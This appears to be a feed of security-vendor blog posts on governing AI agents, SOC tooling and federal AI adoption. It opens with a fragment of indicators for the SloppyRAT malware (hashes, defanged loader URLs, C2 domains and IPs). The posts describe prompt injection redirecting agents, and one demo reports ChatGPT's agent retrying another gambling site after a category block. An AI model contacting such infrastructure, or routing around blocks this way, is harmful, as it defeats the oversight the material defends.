DLL8774533134d9d1514106c4090a0c5bccab4550facdcfe03f4e02b9764343a990SHA256 of SloppyRAT DLLff142fc192daa2a83bc565e5b38ebbe05561f3a19c7fc2d08e38c97e1986bbc5SHA256 of SloppyRAT DLL680c3a9f5fdddfcc34856c7a67d21bbdd2b47d70bdfb829ff59cfa0e3bc72d21SHA256 of SloppyRAT DLLbdcf8fe230e23692b658b62b6547374e2234f2a497b19d26637018a1839e6dfdSHA256 of SloppyRAT DLL607212cfe73c5c84b2dd95b2c0ff37a47f4c8aad08e6d5cbb7c19a62c6b765f9SHA256 of SloppyRAT DLL7bb025b426ae6ccbc170fbca58634b8dd77a61447e48dabe9c2e2fb0d339d8b7SHA256 of SloppyRAT DLL6d50bb50d4e7d6ac36ca6d2761f382be8e1ddbebf3cdf4733cf989ba291f9013SHA256 of SloppyRAT DLL00c116e498799dc831c8aeb602349296c4b9325535d674fe2b6e2e091878dcecSHA256 of SloppyRAT DLL93273ea09bd9df881a594db8cfe1b1bbc54f40f623f44427278ae96fb9b46490SHA256 of SloppyRAT DLL971f25f84be88c4fd304d555b5e3da12f6b368e4b9ba0943961ff21ba6fa4d4dSHA256 of SloppyRAT DLLa13fcbb0870f2fabb7e0a8c757ee3b763bd4a4b0cdf59eeff981d8e307fcf316SHA256 of SloppyRAT DLL518cd57a303ff7ac2b5c4c8439aa5bcbf9a287d4653de7b76051bde73a94d064SHA256 of SloppyRAT DLL3a8994928f512fffcb32e117ac45e0ee093541d99a9dba5f69a264f7f3054b19SHA256 of SloppyRAT DLL2f3d95de716f330fad2330d8787ebdbecb3322453bdc41b2113427f9f92d32d2SHA256 of SloppyRAT DLL1439990ff65364a0f608a322aa3a493bc1683cb5fc30cffc44948da29623fffdSHA256 of SloppyRAT DLLeaa52d2d6d4daf29157e8e813247fb2e92797324230ee42c79f7861b2f5c341dSHA256 of SloppyRAT DLLcb9930d0cde5bf8e8a7ad08fe2c60b937c7beaf9ab51b03191dfcaba40b7b189SHA256 of SloppyRAT DLLc0ef62a2d5ca11c2eedad3561d5d1d8b6e9847aa6b8613493e5bc233ece3d189SHA256 of SloppyRAT DLL4ecb2d06510dfee1b67f5d9a68c60f6d09ddb5be36cc1766a41d77c5b89d3a56SHA256 of SloppyRAT DLL466f9b8dce77b3a026fe4f833aa4949784fb854bea4137e52609e857d439dec8SHA256 of SloppyRAT DLLf534a957edec74d69081665309311b791b6d11a3221fffa67744812d73ad98ebconfig.py Python Scriptfinger.linked4x[.]comClickFix script domainskipraid[.]comCastleLoader Domainhxxps[://]skipraid[.]com/dsVGmQTrzX/default2CastleLoader URLhxxps[://]stro7121.blob.core.windows[.]net/dpp1/config.pyPython loader URLhxxps[://]stro7121.blob.core.windows[.]net/dpp1/hostfxr.dllSloppyRAT DLL URLhxxps[://]backup-ubt[.]s3[.]us-east-1[.]amazonaws[.]com/hostfxr[.]dllSloppyRAT DLL URLstro7121.blob.core.windows[.]netPython Downloader C262.106.66[.]148:443SloppyRAT C2 IPMozilla/5.0 (compatible; DLLMemLoader/1.0)Python Loader User-Agentapi.telephoneip[.]netSloppyRAT C2 Domainapi.truesmart[.]orgSloppyRAT C2 Domain

When AI Workloads Start Acting Like Users

Julian Weinberger (Principal Sales Engineer) — Wed, 09 Sep 2026 18:08:48 GMT

At 2:14 AM, a SIEM alert surfaces. An internal AI research agent with access to project data and approved SaaS credentials has initiated outbound HTTPS connections to eleven previously unobserved external domains in six minutes.Nothing looks obviously malicious. The traffic is encrypted, volumes are modest, and the workload presents valid credentials throughout. It retrieved content from a third-party source, followed a redirect to an unfamiliar analytics service, and then issued API calls to an external endpoint. No firewall rule was violated. No DLP policy triggered.By morning, nobody on the security team can say with confidence what data left the environment, or why.This is not a breach narrative. There was no attacker, exploit, or credential compromise. The workload behaved as designed. The problem is that many organizations are deploying AI agents without revisiting the assumptions behind their security architecture.For decades, enterprise security was built on a simple premise: workloads are deterministic. A database server talks to an application server. An application server talks to a load balancer. A scheduled job pulls from a defined source and writes to a defined destination. Security teams could map those paths, encode them into firewall rules and ACLs, and treat anything outside them as suspicious.That model made sense because it reflected reality. Allowlists worked because legitimate destinations were finite and knowable. Egress filtering worked because external connections were limited enough to define in advance. Even modern cloud policy models still inherit this same logic: define what is allowed, deny everything else.That model has now met its limits.Why static security models fail with AI agentsA modern AI agent does not have a fixed communication graph. By design, it reaches outward dynamically. It may query an external model API, retrieve context from a knowledge source, invoke a tool, validate output against a third-party service, or follow newly discovered URLs that nobody anticipated when the workload was deployed.This is not a bug. It is the architecture. The value of agentic AI lies in its ability to reason, retrieve, and act autonomously. Constraining its network access to a static allowlist does not really secure it; it strips away much of what makes it useful.That is the shift enterprises now face: AI workloads now browse the internet the same way any employee does.Consider the operational reality. An AI agent performing due diligence on a potential business partner may need to access public filings, news archives, legal databases, financial data providers, and domain reputation services—and that mix may be different every time it runs. Trying to predefine every legitimate destination is fundamentally incompatible with how the workload functions.That is the shift enterprises now face: AI workloads now browse the internet the same way any employee does. They discover resources, consume dynamic content, follow links, and interact with services that did not exist when policy was written. In meaningful ways, the traffic profile of an AI agent often resembles that of a knowledge worker doing research.Once that happens, the old mental model breaks down. You are no longer securing a predictable system operating inside known boundaries. You are governing a software actor that interprets outside information and decides what to do next.User-like behavior brings user-like exposureThe consequences extend beyond network policy. Threats that once primarily targeted human users now apply directly to AI workloads. Prompt injection is the clearest example: a malicious instruction embedded in a webpage, document, or API response can redirect an agent’s behavior without any interaction from a human.The weakest link in an organization’s security posture is no longer exclusively the human user. It is also the AI agent acting on that user’s behalf.An agent exposed to compromised content could be influenced to exfiltrate data, query internal systems in unintended ways, or alter the output it returns downstream. Workloads that continuously pull in outside content also create a poisoning surface that traditional firewalls were never built to inspect or understand.The weakest link in an organization’s security posture is no longer exclusively the human user. It is also the AI agent acting on that user’s behalf—with system credentials, internal access, and the ability to operate at machine speed.That is why legacy perimeter models are such a poor fit. Firewalls, ACLs, and network-layer segmentation were designed for a world where legitimate workload behavior could be described in advance. In AI environments, security teams increasingly face an impossible choice: lock down egress tightly and break the usefulness of the system, or open access broadly and accept a level of risk they would never have tolerated before.The issue is not that AI is inherently unmanageable. It is that organizations are trying to govern adaptive, externally connected workloads with controls designed for deterministic ones.Governing AI means rethinking enterprise securityAI workloads have not simply added new traffic to existing infrastructure. They have invalidated some of the assumptions that infrastructure was built on. Most enterprise controls were designed for workloads that behaved like machines: predictable, bounded, and controllable. They were not designed for workloads that behave more like employees: curious, dynamic, externally connected, and susceptible to manipulation through the content they consume.The question leaders should ask in the next architecture review is simple: would the controls in place today detect or prevent the scenario at the top of this blog?AI adoption is accelerating faster than security architectures are adapting to meet it. The organizations that recognize that now will be the ones that can move faster on AI without taking on unseen risk.

ChatGPT Desktop App Includes an In-App Browser: How Do You Secure Embedded Browsers?

Joby Menon (SVP, Product Management | Zscaler) — Wed, 09 Sep 2026 16:34:36 GMT

Zscaler Zero Trust Browser Extension runs inside the embedded browser of the ChatGPT desktop app. The same policies, detections, and enforcement your users get in Chrome, Edge, Firefox, and Safari is now available for the browser in ChatGPT desktop app. These security controls are for the web pages ChatGPT opens on the user’s behalf. Whereas the conversation/prompt the user does with ChatGPT is secured by Zscaler’s AI Security products. I hope the distinction between the two is clear and both are important. We will discuss and demonstrate three scenarios: monitoring every website ChatGPT opens, blocking paste on a specific site, and blocking a whole URL category. All three use policies can be configured from the Zscaler Zero Trust Browser admin console. The Gap: AI Apps Now Ship Their Own BrowsersThe ChatGPT desktop app is a native application, but it isn’t only that. Since OpenAI folded its Atlas browser into the unified desktop app in July, ChatGPT ships with a full Chromium browser inside itself, so its agent can open web pages, fill forms, look things up, and click through sites on the user’s behalf. Other AI applications are shipping the same pattern. This is very useful. It also opens a door most enterprises haven’t noticed is there.When an AI app opens a page inside its own embedded browser, that page is running on your user’s machine, under your user’s identity, with the user’s cookies and access. But it’s doing that in a browser your controls may never touch. IT hasn’t deployed anything into it. The policies you rely on in your standard browsers don’t automatically reach it. If someone wants to do something they wouldn’t be able to do in their normal browser, "just ask ChatGPT to open it for you" starts to look like the shortest path around your controls.We didn’t want the AI-app embedded browser to become that path. Where The Control SitsThe good news is that the embedded browser in the ChatGPT desktop app is Chromium. Our Zero Trust Browser Extension already runs across every browser our customers use: every Chromium-based browser (Chrome, Edge, and the rest), plus Firefox and Safari. That means the moment the extension is loaded inside ChatGPT’s embedded browser, it behaves the same way it does in any of those browsers.That includes page-level monitoring, clipboard and paste controls, URL category matching, DLP inspection, file upload and download policy, and any other rule the extension already enforces. There is no separate rulebook for the embedded case. The same policy engine that decides what a user can do in Chrome decides what the ChatGPT agent can do when it opens the same page inside itself. And because the embedded browser is Chromium, everything above works whether the user is on macOS or Windows.Figure 1. The Zero Trust Browser Extension already runs across Chromium-based browsers, Firefox, and Safari. The embedded browser inside the ChatGPT desktop app is Chromium, so the same policies apply there too.Deploying the extension into the embedded browser uses the same MDM-based method you already use for your other browsers, with one addition: the deployment script needs an explicit change to target the ChatGPT desktop app’s embedded browser. Installing the extension for Chrome does not cover it automatically. Once that change is in place, your existing policies apply the moment the embedded browser loads a page. See It In actionThe demo below runs on the ChatGPT desktop app on macOS. The user prompts the assistant, ChatGPT’s in-app browser control skill opens the embedded browser, and the Zero Trust Browser Extension enforces policy on whatever the page tries to do. We walked through three scenarios that map to controls IT teams already use in mainstream browsers. 1. Monitor Every Website the Agent OpensThe starting posture is visibility. In this scenario, a policy called Monitor All Website Visits is attached to a test user, with a single catch_all rule that fires whenever page.url exists. Effect: Allow. Severity: Informational. Nothing gets blocked. Everything gets logged.The user asks ChatGPT to open google.com in the embedded browser. ChatGPT replies "I’m using the in-app browser control skill to open Google in the embedded browser," waits for approval, and opens Google in a new tab inside the ChatGPT window. The extension records it. In the admin console, a new detection lands for that page load with all the usual context: user, device posture, extension version, browser (Chrome), IP, geolocation, and the URL itself. From the SOC’s point of view, ChatGPT opening a page looks the same as any other browser tab opening a page.1.1 The user asks ChatGPT to open google.com in the embedded browser. ChatGPT uses its in-app browser control skill to handle the request, and asks for approval before opening the page.1.2 Google.com loads in a new tab inside the ChatGPT window.1.3 The detections list in the Zscaler admin console shows the page-open events flowing in under Monitor All Website Visits, effect Allow.1.4 A single detection carries the full record: policy, rule, effect, user identity, and device posture.Monitor mode is where most teams should start when they turn this on. Before you write block rules for ChatGPT, you want to know what your users are actually doing with the embedded browser.2. Block Paste on a Specific SiteThe second scenario shows a paste block. The policy is called Block Paste on DLP Test Site, with a rule block_paste_dlptest_domain that matches when page.url.domain is equal to dlptest.com. Effect: Block. Severity: Medium.Inside the ChatGPT embedded browser, the user opens dlptest.com, copies a line of text from the ChatGPT conversation, and tries to paste it into the HTTP POST form. The rule doesn’t care what the text is: on this domain, any paste is blocked. The extension catches it, shows the Zscaler "Paste Blocked" modal directly in the page, and drops a detection into the admin console with the rule that fired and the clipboard text that was blocked. The user sees a clear reason. The SOC sees the event and the content. Nothing reaches dlptest.com.2.1 The Zscaler Paste Blocked modal renders inside the ChatGPT embedded browser, directly over the dlptest.com form.2.2 The detection for Block Paste on DLP Test Site carries the user, the device posture, and the blocked clipboard text itself, captured inside the ChatGPT embedded browser.This is a normal DLP control. It just happens to work in a browser most enterprises don’t realize their users have.3. Block a URL Category (Gambling)The third scenario is a category-based block. The policy is called Block Gambling websites, and its rule matches whenever page.url.category is one of Gambling. Effect: Block. Severity: Medium.The user asks ChatGPT to open a gambling website in the embedded browser. ChatGPT tries pokerstars.com. The extension recognizes the category and replaces the page with the Zscaler Content Blocked interstitial. ChatGPT then narrates its own failure back to the user: "That site didn’t load in the embedded browser, so I’m retrying with another established gambling site." That attempt gets blocked too. The block isn’t silent. The user sees why. The SOC sees the events.Notice what the agent did, though: it treated the block as a transient failure and went looking for another site that would satisfy the request. A domain blocklist would have lost that race. A category rule catches the second attempt exactly as it caught the first, and every attempt lands in the console.3.1 The Zscaler Content Blocked page inside ChatGPT’s embedded browser. The blocked URL, pokerstars.com, is shown alongside a "Request For Exception" button.3.2 Detection detail for Block Gambling websites: reason page.url.category is one of Gambling, effect Block, severity Medium.These three scenarios are a small slice of what’s available. Because the extension is running inside a Chromium browser, whatever policies you already enforce in your other browsers can be enforced here: DLP, file upload and download policy, credential protection, tenant restrictions, and so on. The point is not the specific rules we demonstrate in this demo. The point is that the embedded browser is no longer a blind spot. Why This Couldn’t WaitAI apps that ship an embedded browser are becoming common. ChatGPT is the loudest example, but it isn’t alone. Every AI product that runs an agent on the desktop has an incentive to give that agent a browser it can drive, and these apps reach mainstream users, not just the developers who adopted agent tools early. Every one of them is a second browser on the machine that the user didn’t install and IT didn’t configure. Closing that gap while the pattern is new is much easier than closing it once it’s widespread.Agents will use the embedded browser to do work under the user’s identity. That’s the whole point of embedding a browser in an AI app. It means the same audit and governance questions we ask about human web activity, and about WebMCP tool calls, now apply to page loads driven by an agent inside an AI app: which agent opened this page, on whose behalf, and what happened next. Today the extension answers the last two. Every page the agent opens is logged and enforced under the user’s identity, and what happens next is in the console, where it looks like any other Chromium page load. Telling agent-driven activity apart from the user’s own browsing is the next step, and it’s what the agent-aware policy work below is for. What’s NextThe Zero Trust Browser Extension is available today for the ChatGPT desktop app’s embedded browser, on both macOS and Windows. If you already run the extension in your other browsers, update your deployment to cover the embedded browser and your existing policies carry over. Reach out to your account team for a demo, or visit the product page to learn more.We’re working on the same coverage for other AI applications shipping their own embedded browsers, and on tighter, agent-aware policy primitives for cases where the caller is a model rather than a human. Zero Trust Browser is a must have security tool for every enterprise. The flexible deployment options it provides Extension, Enterprise Browser, Cloud Browser Isolation and natively integrated with ZTE for application access and advanced data and cyber controls is unmatched.

AI is Raising the Stakes for the SOC–Here’s What Comes Next

Michelle McLean (Sr. Director, Product Marketing) — Wed, 09 Sep 2026 10:12:33 GMT

Security operations has always been overloaded with too many alerts, too many tools, and too little context. The traditional SOC model has focused on endpoint alerts and manual SIEM queries, fed by siloed tools and forcing human correlation and triage at nearly every step. High SIEM ingest costs limit the data organizations can afford to collect and retain, and many of today’s attacks are designed to evade the very controls legacy SOCs depend on.As a result, SOCs are challenged with:Limited scopeOperational complexitySlow response timesAI didn’t create these problems, but it has made solving them far more urgent, by expanding the attack surface and accelerating how attackers do recon, exploit gaps, and adapt in real time. Incremental improvements will not be enough; the SOC needs a new foundation.That foundation is Zscaler Agentic SecOps, launching today. Built to help security teams see, reduce, detect, respond, and remediate at machine speed.Everyone is pitching AI. The market is already overcrowded with agentic SOC providers. So why Zscaler? It comes down to four advantages:A single platform that unifies exposure management and threat responseUnmatched inline telemetry across 750 billion daily transactions – providing network, cloud, endpoint, identity, and AI insightsSpecialized AI agents trained on decades of frontline SOC, MDR, and threat hunting experienceClosed-loop inline remediation that contains threats at machine speedPut simply, Zscaler Agentic SecOps is not AI layered onto a broken workflow. It is a new operational foundation for the modern SOC. What Zscaler Agentic SecOps Means for YouThe impact of Zscaler Agentic SecOps is straightforward: less noise, less manual work, faster decisions, and faster containment.Instead of forcing teams to swivel between siloed tools and stitch together fragmented signals, we bring exposure data, threat detections, investigation context, and response actions into one operational flow. Exposure and threat teams can see what matters sooner, understand it faster, and act with greater confidence.The outcome is a more effective SOC. Analysts spend less time triaging ambiguous alerts and more time focusing on confirmed risk. Security leaders gain broader visibility across endpoint, identity, cloud, SaaS, and AI activity without relying on incomplete, high-cost data pipelines. Organizations can respond to threats in real time, using automated, human-guided, or hybrid actions that help contain incidents before they spread. Faster response, lower risk, without growing headcount. Zscaler Agentic SecOps – Architected for Modern ThreatsZscaler Agentic SecOps unifies proactive exposure management, advanced detections, AI-powered investigation and response, and adaptive remediation in a single platform. This holistic approach gives security teams faster, more accurate analysis and response to active threats.Just as with zero trust, architecture matters, and Zscaler has built our Agentic SecOps from the ground up to meet the moment, with an architecture that:Unifies your data: We combine Zscaler and third-party insights to assess risk more accurately. Zscaler sees 750 billion daily transactions across network, identity, endpoint, cloud, and AI activity. Because Zscaler operates inline on live traffic, it can observe threats as they happen—not just reconstruct them after the fact. We enrich that real-time visibility with critical third-party telemetry and context across identities, assets, exposures, and alerts.Applies advanced detections: We surface the threats that matter most with 7,500+ tuned analytics cultivated over a decade of ThreatLabz research and Red Canary MDR expertise. And we’re not sending you false alarms – we have validated those detections at 99.6% accuracy.Creates a security context graph: We use our Data Fabric for Security to harmonize, deduplicate, correlate, and enrich that data, creating the entity relationships that enable us to separate real risk from noise.Activates specialized AI agents: We automate triage, investigation, verdicts, and remediation. But remember: AI is very much a garbage in/garbage out exercise – strong outcomes depend on good inputs. By operating on clean, harmonized data from the context graph, our agentic workflows deliver better results. Plus, our specialized agents have been trained and continuously tuned on more than a decade of frontline SOC, MDR, and threat hunting experience.Delivers clear insights in our exposure and threat management solutions: We connect what is risky, what is happening, and what action should come next. Security teams can prioritize exposures before they are exploited; detect threats across endpoint, identity, cloud, and AI environments; investigate with richer context; and respond through automated, human-triggered, or hybrid workflows. Our expert threat hunting and MDR services enable our customers to scale their SOC, with expert human assistance steeped in a decade of finding threats in Zscaler and third-party telemetry. Closes the loop: To ultimately reduce risk, integrations with Zscaler and third-party inline controls drive automatic or human-assisted responses, appropriate to the level of risk. We can quarantine files, restrict access, isolate browser sessions, block traffic, and take other nuanced steps to contain threats in real time. Our SecOps SolutionsModern security operations teams are being asked to defend a faster, broader, more complex attack surface with workflows that were already under strain before AI. Zscaler SecOps solutions are built to change that, bringing proactive and reactive security capabilities together into a unified approach that helps teams reduce risk, detect threats with greater precision, and respond faster. The Zscaler Agentic SOC sits at the heart of our solution, correlating insights and unifying the response. It shifts the SOC from endless alert analysis to decisive action, helping analysts focus, analyze faster, and respond with greater confidence. Zscaler Exposure Management helps security teams get ahead of risks before they can turn into incidents that need a response. By contextualizing and prioritizing exposures – and automating remediation workflows – we help customers reduce their attack surface in a way that scales. As AI gets better at identifying security gaps, the volume of exposures will rise faster than any team can manage with spreadsheet-driven processes. Exposure Management is how organizations stay ahead of that curve instead of constantly reacting to it.Deception adds another critical layer: fast, lightweight defense designed to catch attackers early and especially tuned to find and contain AI attacks. Our decoys create a blanket of tripwires across your environment, detecting adversaries as they move and engage before they can do real damage. Deception turns the speed and parallelism of AI attacks against the adversary.Threat Hunting brings in the power of deep operational expertise. Our team has been hunting threats in Zscaler traffic for years, enabling them to identify suspicious patterns and attacker behavior that generic tools often miss. Threat Hunting is especially valuable for finding adversaries who have already slipped past your preventive controls and are trying to move quietly through your environment.MDR extends that advantage around the clock with 24x7 detection and response coverage, backed by the advanced detection library Red Canary built over more than a decade on the front lines. What differentiates our MDR is not just the analysts or the detections – it’s the data and control behind them. Our teams work across Zscaler first-party telemetry and third-party systems to pull together network, endpoint, identity, and cloud insights, with the added ability to invoke inline enforcement controls when action is needed. The result is faster detection, fewer false positives, and a much stronger ability to actually contain threats, not just identify them. It’s also a powerful way for organizations to scale their SOC without having to add headcount at the same pace. How Can Zscaler Modernize your SecOps?The threat landscape has changed in a fundamental way. Security operations must change with it.With Zscaler Agentic SecOps, and especially with the launch of Agentic SOC, Zscaler is helping organizations make that shift: from fragmented workflows to integrated operations, from reactive investigation to proactive risk reduction, and from human-speed triage to machine-speed defense backed by elite frontline expertise.Our unique combination of real-time telemetry, high-fidelity detections, operationally trained agents, and integrated response is what sets Zscaler apart. The goal is not just a faster SOC. It is a more certain one.We invite you to learn more at our Agentic SecOps launch event. Our keynote features insights from the front lines of threat intel, industry analysts, and our product leaders, along with highlights of our Agentic SOC solution. Breakout sessions provide a closer look at all our SecOps capabilities, showing how easily you can prioritize your exposures, find and stop AI attacks, tap our advanced detections, leverage our expert assistance, and put our Agentic SOC capabilities to use in your organization.Wherever you are in your SecOps journey, we’re here to help you reach that next level of defense.

The SecOps Revolution: How AI and Agentic Technology Are Changing Security Forever

Sam Curry (SVP, Global CISO) — Wed, 09 Sep 2026 08:09:28 GMT

From AI to Sovereignty: Zscaler’s Agenda for the Gartner Risk & Security Management Summit in LondonToday, organizations are fighting instability on many fronts, including an expanding threat landscape, geopolitical tensions, and emerging regulatory requirements, which are all influencing their approach to security and AI transformation. At the annual Gartner Security & Risk Management Summit in London, the region‘s top security minds are meeting to tackle the latest challenges in the evolving threat landscape. The community is coming together at this critical moment, to share insights into how we can navigate the complex mix of cyber threats, AI, regulatory shifts, and sovereignty demands.Zscaler with its unified cyber security platform designed for the AI age is proud to be joining the discussions as a platinum sponsor with a keynote, speaker tracks, and a booth to interact with the community. On the 22nd of September, I’ll be taking to the mainstage for the keynote, talking about the SecOps revolution and the cultural adaptation that’s required to successfully integrate AI in security operations. With AI reshaping both sides of the security equation as it is leveraged both in attack and defense, organisations must be ready to react at machine speed. AI is allowing attackers to move faster and hide better. Security teams that embrace agentic technology are responding at faster rates, replacing manual log-chasing with intelligent detection, investigation, and response.The transformation underway in security operations is as significant as what DevOps did for engineering a generation ago. In my keynote, I will develop the roadmap of a modern SOC and showcase how SecOps-teams can make AI their assistant and become dramatically more effective. I’ll be discussing with David Harcourt, CISO of BT, what the elasticity of AI means for SecOps teams and the requirement to have the right team structures in place to fight with AI supported SecOps against AI-related attacks.A Zero Trust Blueprint for Security LeadersAs Europe’s tech sovereignty agenda clashes with the unpredictable risks of Frontier AI, security leaders face a complex governance dilemma. How can they maintain control across their global enterprises? In his theatre session on Wednesday, 23rd of September, my colleague Casper Klynge, VP of Government Affairs at Zscaler will discuss how digital sovereignty and Zero Trust security need to converge in the wake of Frontier AI models becoming generally available. In this session he will deliver insights into how a Zero Trust security platform can satisfy strict regulatory expectations and mitigate advanced AI threats to preserve operational flexibility of organisations.For security practitioners who are helping their organisation to survive in a post Mythos world, James Tucker, CISO in Residence at Zscaler EMEA is hosting a roundtable on Thursday, 24th of September in Maritime Suite 18 to discuss how to avoid being devoured by a T-Rex. Building frontier-grade offensive capability is required to be able to lock most attackers out and to keep Agentic AI under control. Using the example of the recent Hugging Face incident he will talk about the guardrails that are required to keep the new human-made super power of Agentic AI within its fences.At the conference the Zscaler team is available to discuss organizations needs in the wake of an increasingly complex environment of evolving and AI powered cyberthreats. The Gartner Risk & Security Management Summit offers the platform to exchange ideas and to provide a forum to engage with forward-thinking professionals and security innovators. Whether you are a CIO, CISO, governmental leader, or strategic decision-maker, Zscaler has a compelling perspective to share on how to approach the most pressing challenges facing enterprises today, from managing risk in AI-driven ecosystems to navigating geopolitical complexities. We look forward to exploring groundbreaking solutions, fostering collaboration, and contributing to meaningful discussion.Join us at the Zscaler booth #800, attend our keynotes, and connect with our executive team at the networking receptions on Tuesday and Wednesday of the event. Reach out to book your personal 1-1 meeting to talk to a Zscaler expert here.

A Practical Framework for Secure AI Adoption in Federal Civilian Agencies

Jose Arvelo Negron (Manager, Sales Engineer) — Wed, 09 Sep 2026 03:53:02 GMT

This is the second post in a three-part series on AI security and governance for Federal Civilian agencies. The first post examined why M-25-21 changes the operating landscape and why AI risk is broader than public GenAI.Bottom line up front: Federal Civilian agencies need more than policy language to govern AI responsibly. They need an operating model. This post outlines a six-part lifecycle, Discover, Classify, Control, Test, Monitor, and Report, that connects M-25-21 requirements to enforceable, repeatable execution.A workable model for Federal Civilian agencies has six parts:DiscoverClassifyControlTestMonitorReportEach one addresses a specific governance gap. Taken as a whole, they give agencies a way to move from policy intent to day-to-day execution. 1. Discover: You can't govern what you can't seeThe first step is visibility.M-25-21 requires agencies to maintain AI use case inventories. But building an accurate inventory is hard when AI use is spread across users, endpoints, SaaS tools, code repositories, cloud environments, applications, APIs, and models.Security and governance teams may know about the officially approved AI pilots. They may not know about shadow AI use, embedded AI in existing SaaS platforms, developer AI tools, or AI dependencies inside application code.Zscaler AI Asset Management helps agencies identify AI usage and AI assets across multiple layers of the environment. This includes public GenAI destinations, embedded AI in SaaS, AI-enabled desktop tools, browser extensions, developer tools, code repositories that invoke models or agents, and cloud AI services connected to agency data.An AI inventory can't just be a list of tools. Agencies also need context: whether a tool is approved, who is using it, whether sensitive data is involved, whether it connects to internal systems, whether an external model is being called, and whether an agent can access agency data or invoke tools. They also need to understand whether the AI asset touches PII, CUI, financial data, health data, law enforcement data, benefits data, inspection data, regulatory data, or source code.Without that context, governance is mostly guesswork. With it, agencies can start making risk-based decisions. 2. Classify: Not every AI use case has the same riskM-25-21 puts special emphasis on risk, especially for high-impact AI.High-impact AI refers to uses where AI output serves as a principal basis for decisions or actions that have a legal, material, binding, or significant effect on rights or safety.For Federal Civilian agencies, this could apply to eligibility or benefits support, grants and loans, healthcare or public health workflows, immigration or travel-related services, regulatory oversight, inspections and enforcement, fraud detection, safety-related determinations, housing assistance, employment-related actions, law enforcement support, emergency management, or other citizen-facing services.Not every use case will be high-impact. A tool that summarizes internal meeting notes is very different from an AI system that influences a benefits decision, inspection outcome, enforcement action, or citizen service determination. Classification is how agencies draw that line.Agencies need to classify AI use cases based on mission impact, data sensitivity, user population, external exposure, model provider, autonomy, human oversight, connected systems, and potential effects on rights, safety, benefits, or services. They also need to consider whether the system is public-facing and whether it uses authoritative agency data.Zscaler helps provide the technical context behind these decisions. It can help identify whether an AI application is connected to sensitive data, whether users are sending protected information to AI tools, whether AI assets exist in cloud environments, and whether an agency-built AI system should be prioritized for testing and guardrails.Zscaler doesn't replace agency judgment. The CAIO, AI Governance Board, CIO, CISO, privacy officials, legal teams, and mission owners still own the governance decisions. But better evidence leads to better decisions. 3. Control: Enable AI use with policy-based guardrailsAI security can't be limited to "allow everything" or "block everything."Federal agencies need policy-based AI enablement. They need a way to allow approved AI tools, restrict risky tools, protect sensitive data, coach users, isolate higher-risk sessions, and apply different controls based on user role, mission function, data type, and destination.For example, an agency may allow approved GenAI tools for general productivity while blocking prompts that contain PII, CUI, source code, credentials, or procurement-sensitive information. It may apply stricter controls for users handling benefits, grants, healthcare, tax, law enforcement, or regulatory data. It may isolate higher-risk AI destinations in the browser, log AI activity for governance review, inspect AI responses for harmful content, or coach users when they attempt risky behavior.Zscaler helps apply these controls inline through the Zero Trust Exchange. For user access to public and embedded AI tools, Zscaler can inspect traffic, enforce access policy, apply data loss prevention, and use AI Guard to inspect prompt inputs and response outputs.Some of the highest-risk AI behavior can happen before an agency has formally reviewed a use case. An employee may paste citizen PII into a public AI tool to summarize a case note. A grants specialist may upload procurement-sensitive information into an AI assistant. A developer may paste source code or configuration secrets into an external coding tool. A regulator may use a public AI tool to summarize inspection records. Or an employee may use an embedded AI feature in a SaaS application without realizing data may be processed by an AI service.Zscaler can detect sensitive content and enforce policy before the data leaves the agency-controlled path. This is how agencies can support AI productivity while reducing unmanaged exposure. 4. Test: AI applications need assurance before they go liveEmployee use of public GenAI is one type of risk. Agency-built AI applications are another.As Federal Civilian agencies mature, many will build or operate their own AI systems. These may include citizen-facing AI assistants, internal knowledge assistants, program support chatbots, benefits guidance tools, regulatory support applications, inspection support tools, fraud detection workflows, cybersecurity copilots, research assistants, data analysis systems, AI-enabled case management, or agentic workflows connected to internal systems.For these systems, access control alone isn't enough. Agencies need to test whether the AI application behaves as intended.AI systems can fail in ways traditional applications don't. They can be vulnerable to prompt injection, jailbreaks, hallucination, data leakage, unsafe tool use, off-mission responses, toxic output, or manipulation across multi-turn conversations. For public-facing or mission-sensitive systems, those failures can damage public trust.Consider an AI assistant giving incorrect guidance about disaster assistance, student aid, veterans services, taxpayer obligations, public health recommendations, immigration processes, small business loans, housing assistance, food safety, benefits eligibility, regulatory compliance, or grants requirements. The issue isn't only technical accuracy. It's fairness, accountability, mission integrity, and trust.Zscaler's AI red teaming capabilities help agencies test AI applications before deployment. Red teaming can evaluate systems for prompt injection, jailbreaking, data leakage, hallucination, trustworthiness, toxicity, bias, code execution, phishing, unsafe responses, RAG precision, URL validation, mission alignment, and custom agency-specific risks.Agencies can also create custom probes that reflect their own mission language, policies, authoritative sources, and risk scenarios.A benefits agency could test whether an assistant avoids making unauthorized eligibility determinations. A regulatory agency could test whether an assistant stays aligned to approved regulatory guidance. A public health agency could test whether responses remain grounded in authoritative medical or scientific sources. A grants agency could test whether an assistant provides accurate application guidance without exposing applicant data. A law enforcement or investigative agency could test whether the system refuses inappropriate requests for sensitive information. A citizen services agency could test whether the system escalates to a human when confidence is low.Red teaming helps agencies find weaknesses before citizens, employees, or adversaries do. 5. Monitor: AI risk doesn't stand stillAI governance isn't a one-time approval.Models change. Prompts change. SaaS platforms add new AI features. Developers introduce new dependencies. Users find new tools. Agents gain new capabilities. Data sources evolve. Attack techniques change.M-25-21 emphasizes ongoing governance, risk management, and accountability. For AI security leaders, this means agencies need telemetry that shows how AI is actually being used over time.Zscaler helps monitor AI interactions by showing which AI tools are being accessed, who is using them, which prompts trigger data protection policies, which responses violate policy, which embedded AI tools appear in SaaS workflows, which AI assets exist in cloud, which applications connect to sensitive data, and how usage trends change across the agency.It can also help track policy actions, red team findings, guardrails, and changes in AI behavior over time.This helps agencies move from static governance to continuous governance. It also gives governance teams a clearer view of actual behavior, not just intended use. The distinction is important, especially when AI adoption moves faster than formal review cycles. 6. Report: Governance needs evidenceFederal AI governance requires evidence.CAIOs, CIOs, CISOs, Chief Data Officers, privacy officials, legal counsel, acquisition officials, mission leaders, and AI governance boards all need different views of AI risk.A CAIO may need to understand AI adoption across the agency. A CISO may need visibility into data leakage and threat exposure. A privacy officer may need evidence of controls around PII. A Chief Data Officer may need to understand data access and data quality implications. A mission owner may need assurance that an AI system behaves within scope. Legal, civil rights, and acquisition leaders may need insight into fairness, third-party services, embedded AI risks, or documented control decisions.Zscaler helps provide operational evidence for those governance conversations. That evidence can include AI usage trends, AI application inventories, user and group activity, sensitive data exposure attempts, prompt and response policy actions, embedded AI discovery, AI assets in cloud environments, model and agent relationships, connected data resources, red team results, guardrail status, and policy enforcement history.This is how agencies make AI governance measurable instead of purely procedural.To learn more about how Zscaler supports the AI security lifecycle for Federal Civilian agencies, reach out to your Zscaler account team for a detailed 